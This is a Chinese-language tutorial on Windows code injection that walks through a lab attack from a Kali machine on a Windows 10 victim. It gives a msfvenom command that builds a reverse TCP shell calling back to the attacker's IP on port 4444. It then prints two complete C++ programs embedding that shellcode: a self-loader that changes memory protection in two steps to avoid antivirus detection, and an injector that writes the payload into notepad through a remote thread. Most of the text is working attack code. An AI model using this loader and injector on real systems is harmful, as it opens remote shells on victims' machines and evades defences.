什么是代码注入?为什么需要代码注入?
代码注入是指将一段恶意代码注入到正在运行的进程中,以便实现对该进程的控制和操作。通过代码进程注入,攻击者可以在运行中的进程中执行自己的代码,从而可以窃取敏感信息、控制系统或执行其他恶意行为。
攻击者可以使用各种技术来进行代码进程注入攻击,包括使用已知的漏洞、使用API hooking和DLL注入等技术。这些技术可以让攻击者将自己的代码注入到正在运行的进程中,并操纵进程执行恶意操作。
演示环境:使用kali虚拟机作为攻击者(172.18.53.24),物理机win10作为受害者(172.18.53.14)
调试payload
首先在攻击者的机器上使用msfvenom
生成反弹shell,也就是接下来需要的payload,LHOST
和LPORT
分别为攻击者的IP地址和监听端口。
使用msfvenom
生成反弹shell:msfvenom -p windows/x64/shell_reverse_tcp LHOST=172.18.53.24 LPORT=4444 -f c
。
C++恶意代码的主要逻辑为:
- (1)在进程中分配新的buffer
- (2)将payload复制到buffer中
- (3)将buffer设置为可执行
- (4)执行payload
这里涉及的函数有:
(1)VirtualAlloc:用于在当前进程的虚拟地址空间中分配指定大小的内存块。
LPVOID VirtualAlloc(
LPVOID lpAddress, // 要分配的内存区域的起始地址
SIZE_T dwSize, // 要分配的内存区域的大小(以字节为单位)
DWORD flAllocationType, // 内存分配类型
DWORD flProtect // 内存保护类型
);
(2)RtlMoveMemory:用于在内存中移动数据。
void RtlMoveMemory(
void* Destination, // 指向目标内存区域的指针,即数据移动的目的地址
const void* Source, // 指向源内存区域的指针,即要移动的数据的起始地址
size_t Length // 要移动的数据的长度(以字节为单位)
);
(3)VirtualProtect:用于修改虚拟内存区域保护属性的函数。
BOOL VirtualProtect(
LPVOID lpAddress, // 要修改访问权限的内存区域的起始地址
SIZE_T dwSize, // 要修改访问权限的内存区域的大小(以字节为单位)
DWORD flNewProtect, // 新的内存保护属性
PDWORD lpflOldProtect // 指向一个DWORD变量的指针,用于保存修改前的内存保护属性
);
(4)CreateThread:用于创建一个新的线程并开始执行。
HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes, // 线程安全属性,如果为NULL,线程将使用默认的安全属性
SIZE_T dwStackSize, // 线程栈的大小,如果为0,线程将使用默认的栈大小
LPTHREAD_START_ROUTINE lpStartAddress, // 线程的启动函数地址,这个函数将被新线程执行
LPVOID lpParameter, // 传递给线程启动函数的参数,如果不需要参数,可以传递NULL
DWORD dwCreationFlags, // 线程的创建标志
LPDWORD lpThreadId // 用于存储新线程标识符的变量地址
);
完整代码如下:
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// payload
unsigned char my_payload[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00"
"\x49\x89\xe5\x49\xbc\x02\x00\x11\x5c\xac\x12\x35\x18\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c"
"\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff"
"\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2"
"\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48"
"\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99"
"\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63"
"\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57"
"\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44"
"\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6"
"\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"
"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5"
"\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";
// 计算payload长度
unsigned int my_payload_len = sizeof(my_payload);
int main(void){
void *my_payload_mem; // 给payload分配空间
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
// (1)在进程中分配新的buffer
// 此处将分配内存设置为PAGE_READWRITE而不是PAGE_EXECUTE_READWRITE是因为设置为可读写执行
// 会被一些搜索工具或反病毒引擎发现,所以将这个操作拆分为先读写,再改为可执行
my_payload_mem = VirtualAlloc(0, my_payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// (2)将payload复制到buffer中
RtlMoveMemory(my_payload_mem, my_payload, my_payload_len);
// (3)将buffer设置为可执行
rv = VirtualProtect(my_payload_mem, my_payload_len, PAGE_EXECUTE_READ, &oldprotect);
if (rv != 0){
// 执行payload
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)my_payload_mem, 0, 0, 0);
WaitForSingleObject(th, -1);
}
return 0;
}
在攻击者机器上监听4444
端口:
然后,编译运行上面的代码:
可以在攻击者机器上看到shell
弹回来了:
并且可以在受害者机器上使用Process Hacker看到,受害者机器上建立了一个到攻击者机器的网络连接:
代码注入
将payload注入到notepad进程中(这里我尝试了计算器没成功,不知道为啥),步骤如下:
- (1)在目标进程中分配大于payload大小的内存
- (2)将payload复制到目标进程中
- (3)在目标进程中执行payload
这里涉及的函数有:
(1)OpenProcess:用于打开指定进程的句柄,以便在进程间进行通信或操作。
HANDLE OpenProcess(
DWORD dwDesiredAccess, // 访问权限
BOOL bInheritHandle, // 是否继承句柄
DWORD dwProcessId // 进程ID
);
(2)VirtualAllocEx:为远程进程分配内存缓冲区,这个函数可以用于实现共享内存,动态加载DLL文件,以及创建线程栈等操作。
LPVOID VirtualAllocEx(
HANDLE hProcess, // 目标进程句柄
LPVOID lpAddress, // 分配的内存地址
SIZE_T dwSize, // 分配的内存大小
DWORD flAllocationType,// 内存分配类型
DWORD flProtect // 内存保护属性
);
(3)WriteProcessMemory:在进程之间复制数据,该函数可用于在不同进程之间共享数据,或者在同一进程中的不同线程之间共享数据。:
BOOL WriteProcessMemory(
HANDLE hProcess, // 目标进程句柄
LPVOID lpBaseAddress, // 目标内存地址
LPCVOID lpBuffer, // 写入数据的缓冲区
SIZE_T nSize, // 写入数据的大小
SIZE_T *lpNumberOfBytesWritten // 实际写入数据的大小
);
(4)CreateRemoteThread:用于在指定进程中创建一个远程线程,并在远程线程中执行指定的函数。该函数可用于在不同进程之间执行函数,或者在同一进程中的不同线程之间执行函数。
HANDLE CreateRemoteThread(
HANDLE hProcess, // 目标进程句柄
LPSECURITY_ATTRIBUTES lpThreadAttributes,// 线程安全属性
SIZE_T dwStackSize, // 线程栈大小
LPTHREAD_START_ROUTINE lpStartAddress, // 线程入口地址
LPVOID lpParameter, // 线程参数
DWORD dwCreationFlags, // 线程创建标志
LPDWORD lpThreadId // 线程ID
);
整体代码如下:
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// payload
unsigned char my_payload[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00"
"\x49\x89\xe5\x49\xbc\x02\x00\x11\x5c\xac\x12\x35\x18\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c"
"\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff"
"\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2"
"\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48"
"\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99"
"\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63"
"\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57"
"\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44"
"\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6"
"\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"
"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5"
"\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";
// 计算payload长度
unsigned int my_payload_len = sizeof(my_payload);
int main(int argc, char* argv[]){
HANDLE ph; // 进程句柄
HANDLE rt; // 目标线程
HANDLE rb; // 远程内存
// 打印进程PID
printf("PID:%i", atoi(argv[1]));
// 打开进程
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
// 在目标进程中分配内存
rb = VirtualAllocEx(ph, NULL, my_payload_len, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
// 在进程间复制数据
WriteProcessMemory(ph, rb, my_payload, my_payload_len, NULL);
// 启动一个新的线程
rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)rb, NULL, 0, NULL);
CloseHandle(ph);
return 0;
}
在攻击者机器上监听4444端口:
然后在受害者机器上打开notepad,查看PID,然后运行恶意程序并输入PID进行注入:
回到攻击者机器上,shell成功弹回来了:
通过process hacker查看网络,可以看到受害者机器建立了与攻击者机器的网络连接:
通过process hacker查看notepad的内存,可以看到我们分配的缓冲区,其中可以看到加载了负责套接字管理的ws2_32.dll
模块: